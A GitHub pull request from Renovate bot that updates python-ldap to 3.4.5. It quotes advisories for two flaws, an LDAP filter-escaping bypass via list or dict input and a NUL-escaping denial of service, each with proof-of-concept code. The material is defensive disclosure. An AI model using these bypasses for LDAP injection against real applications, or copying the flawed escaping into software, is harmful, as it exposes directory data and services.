Skip to content

Comments

Update dependency python-ldap to v3.4.5 [SECURITY] - autoclosed#296

Closed
redhat-renovate-bot wants to merge 1 commit intomainfrom
renovate/pypi-python-ldap-vulnerability
Closed

Update dependency python-ldap to v3.4.5 [SECURITY] - autoclosed#296
redhat-renovate-bot wants to merge 1 commit intomainfrom
renovate/pypi-python-ldap-vulnerability

Conversation

@redhat-renovate-bot
Copy link
Collaborator

@redhat-renovate-bot redhat-renovate-bot commented Oct 10, 2025

This PR contains the following updates:

Package Change Age Confidence
python-ldap (changelog) ==3.4.4 -> ==3.4.5 age confidence

GitHub Vulnerability Alerts

CVE-2025-61911

Summary

The sanitization method ldap.filter.escape_filter_chars can be tricked to skip escaping of special characters when a crafted list or dict is supplied as the assertion_value parameter, and the non-default escape_mode=1 is configured.

Details

The method ldap.filter.escape_filter_chars supports 3 different escaping modes. escape_mode=0 (default) and escape_mode=2 happen to raise exceptions when a list or dict object is supplied as the assertion_value parameter. However, escape_mode=1 happily computes without performing adequate logic to ensure a fully escaped return value.

PoC

>>> import ldap.filter

Exploitable

>>> ldap.filter.escape_filter_chars(["abc@*()/xyz"], escape_mode=1)
'abc@*()/xyz'
>>> ldap.filter.escape_filter_chars({"abc@*()/xyz": 1}, escape_mode=1)
'abc@*()/xyz'

Not exploitable

>>> ldap.filter.escape_filter_chars("abc@*()/xyz", escape_mode=1)
'abc@\\2a\\28\\29\\2fxyz'
>>> ldap.filter.escape_filter_chars(["abc@*()/xyz"], escape_mode=0)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/local/lib64/python3.12/site-packages/ldap/filter.py", line 41, in escape_filter_chars
    s = assertion_value.replace('\\', r'\5c')
        ^^^^^^^^^^^^^^^^^^^^^^^
AttributeError: 'list' object has no attribute 'replace'
>>> ldap.filter.escape_filter_chars(["abc@*()/xyz"], escape_mode=2)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/local/lib64/python3.12/site-packages/ldap/filter.py", line 36, in escape_filter_chars
    r.append("\\%02x" % ord(c))
                        ^^^^^^
TypeError: ord() expected a character, but string of length 11 found

Impact

If an application relies on the vulnerable method in the python-ldap library to escape untrusted user input, an attacker might be able to abuse the vulnerability to launch ldap injection attacks which could potentially disclose or manipulate ldap data meant to be inaccessible to them.

With Python being a dynamically typed language, and the commonly used JSON format supporting list and dict, it is to be expected that Python applications may commonly forward unchecked and potentially malicious list and dict objects to the vulnerable sanitization method.

The vulnerable escape_mode=1 configuration does not appear to be widely used.

Suggested Fix

Add a type check at the start of the ldap.filter.escape_filter_chars method to raise an exception when the supplied assertion_value parameter is not of type str.

CVE-2025-61912

Summary

ldap.dn.escape_dn_chars() escapes \x00 incorrectly by emitting a backslash followed by a literal NUL byte instead of the RFC-4514 hex form \00. Any application that uses this helper to construct DNs from untrusted input can be made to consistently fail before a request is sent to the LDAP server (e.g., AD), resulting in a client-side denial of service.

Details

Affected function: ldap.dn.escape_dn_chars(s)

File: Lib/ldap/dn.py

Buggy behavior:
For NUL, the function does:

s = s.replace('\000', '\\\000') # backslash + literal NUL

This produces Python strings which, when passed to python-ldap APIs (e.g., add_s, modify_s, rename_s, or used as search bases), contain an embedded NUL. python-ldap then raises ValueError: embedded null character (or otherwise fails) before any network I/O.
With correct RFC-4514 encoding (\00), the client proceeds and the server can apply its own syntax rules (e.g., AD will reject NUL in CN with result: 34), proving the failure originates in the escaping helper.

Why it matters: Projects follow the docs which state this function “should be used when building LDAP DN strings from arbitrary input.” The function’s guarantee is therefore relied upon as a safety API. A single NUL in attacker-controlled input reliably breaks client workflows (crash/unhandled exception, stuck retries, poison queue record), i.e., a DoS.

Standards: RFC 4514 requires special characters and controls to be escaped using hex form; a literal NUL is not a valid DN character.

Minimal fix: Escape NUL as hex:

s = s.replace('\x00', r'\00')

PoC

Prereqs: Any python-ldap install and a reachable LDAP server (for the second half). The first half (client-side failure) does not require a live server.

from ldap.dn import escape_dn_chars, str2dn

l = ldap.initialize("ldap://10.0.1.11")              # your lab DC/LDAP
l.protocol_version = 3
l.set_option(ldap.OPT_REFERRALS, 0)
l.simple_bind_s(r"DSEC\dani.aga", "PassAa1")         

# --- Attacker-controlled value contains NUL ---
cn = "bad\0name"
escaped_cn = escape_dn_chars(cn)
dn = f"CN={escaped_cn},OU=Users,DC=dsec,DC=local"
attrs = [('objectClass', [b'user']), ('sAMAccountName', [b'badsam'])]

print("=== BUGGY DN (contains literal NUL) ===")
print("escaped_cn repr:", repr(escaped_cn))
print("dn repr:", repr(dn))
print("contains NUL?:", "\x00" in dn, "at index:", dn.find("\x00"))

print("=> add_s(buggy DN): expected client-side failure (no server contact)")
try:
    l.add_s(dn, attrs)
    print("add_s(buggy): succeeded (unexpected)")
except Exception as e:
    print("add_s(buggy):", type(e).__name__, e)  # ValueError: embedded null character

# --- Correct hex escape demonstrates the client proceeds to the server ---
safe_dn = dn.replace("\x00", r"\00")                 # RFC 4514-compliant
print("\n=== HEX-ESCAPED DN (\\00) ===")
print("safe_dn repr:", repr(safe_dn))
print("=> sanity parse:", str2dn(safe_dn))           # parses locally

print("=> add_s(safe DN): reaches server (AD will likely reject with 34)")
try:
    l.add_s(safe_dn, attrs)
    print("add_s(safe): success (unlikely without required attrs/rights)")
except ldap.LDAPError as e:
    print("add_s(safe):", e.__class__.__name__, e)  # e.g., result 34 Invalid DN syntax (AD forbids NUL in CN)

Observed result (example):

add_s(buggy): ValueError embedded null character ← client-side DoS

add_s(safe): INVALID_DN_SYNTAX (result 34, BAD_NAME) ← request reached server; rejection due to server policy, not client bug

Impact

Type: Denial of Service (client-side).

Who is impacted: Any application that uses ldap.dn.escape_dn_chars() to build DNs from (partially) untrusted input—e.g., user creation/rename tools, sync/ETL jobs, portals allowing self-service attributes, device onboarding, batch imports. A single crafted value with \x00 reliably forces exceptions/failures and can crash handlers or jam pipelines with poison records.


Release Notes

python-ldap/python-ldap (python-ldap)

v3.4.5: 3.4.5

Compare Source

Released 3.4.5 2025-10-10

Security fixes:

Fixes:

  • ReconnectLDAPObject now properly reconnects on UNAVAILABLE, CONNECT_ERROR
    and TIMEOUT exceptions (previously only SERVER_DOWN), fixing reconnection
    issues especially during server restarts
  • Fixed syncrepl.py to use named constants instead of raw decimal values
    for result types
  • Fixed error handling in SearchNoOpMixIn to prevent a undefined variable error

Tests:

  • Added comprehensive reconnection test cases including concurrent operation
    handling and server restart scenarios

Doc/

  • Updated installation docs and fixed various documentation typos
  • Added ReadTheDocs configuration file

Infrastructure:

  • Add testing and document support for Python 3.13

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Renovate Bot.

Signed-off-by: redhat-renovate-bot <redhat-internal-renovate@redhat.com>
@redhat-renovate-bot redhat-renovate-bot force-pushed the renovate/pypi-python-ldap-vulnerability branch from 9e80bbb to d0bd6ce Compare December 9, 2025 14:08
@redhat-renovate-bot redhat-renovate-bot changed the title Update dependency python-ldap to v3.4.5 [SECURITY] Update dependency python-ldap to v3.4.5 [SECURITY] - autoclosed Jan 6, 2026
@redhat-renovate-bot redhat-renovate-bot deleted the renovate/pypi-python-ldap-vulnerability branch January 6, 2026 05:07
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant